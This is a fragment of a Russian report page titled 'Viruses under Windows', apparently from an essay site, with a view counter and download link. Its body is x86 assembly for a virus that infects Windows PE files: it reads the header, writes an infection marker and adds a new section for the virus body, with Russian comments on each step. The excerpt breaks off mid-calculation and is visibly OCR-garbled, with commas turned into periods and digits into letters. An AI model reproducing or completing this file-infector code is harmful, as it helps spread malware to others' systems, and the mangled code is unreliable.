Доклад: Вирусы под Windows

lea eax, [ebp+offset bytesread]
push eax

push dword ptr [ebp+offset headersize]
lea eax, [ebp+offset peheader]
push eax

push dword ptr [ebp+offset ahand]
call ReadFile

[Установим признак заражения

mov word ptr [ebp+offset peheader+4ch],OFOODh

[Найдем смещение таблицы объектов
xor eax.eax

mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax

[Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]
add esi,eax
xor eax.eax

mov ax,[ebp+offset numObj]
mov ecx.40

xor edx.edx

mul ecx

add esi.eax

;Увеличим число объектов на 1

inc word ptr [ebp+offset numObj]

lea edi,[ebp+offset newobject]

xchg edi.esi

;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта

mov eax, [edi-5*8+8]

add eax,[edi-5*8+12]

mov ecx.dword ptr [ebp+offset objalign]

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset RVA],eax

;Вычислим физический размер нового объекта
mov ecx.dword ptr [ebp+offset filealign]
mov eax.vend-vstart
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax

.Вычислим виртуальный размер нового объекта
mov ecx.dword ptr [ebp+offset objalign]
mov eax.vend-vstart+tOOOh
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax

; Вычислим физическое смещение нового объекта
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx.dword ptr [ebp+offset filealign]
xor edx.edx
div ecx

inc eax

К-во Просмотров: 960
Бесплатно скачать Доклад: Вирусы под Windows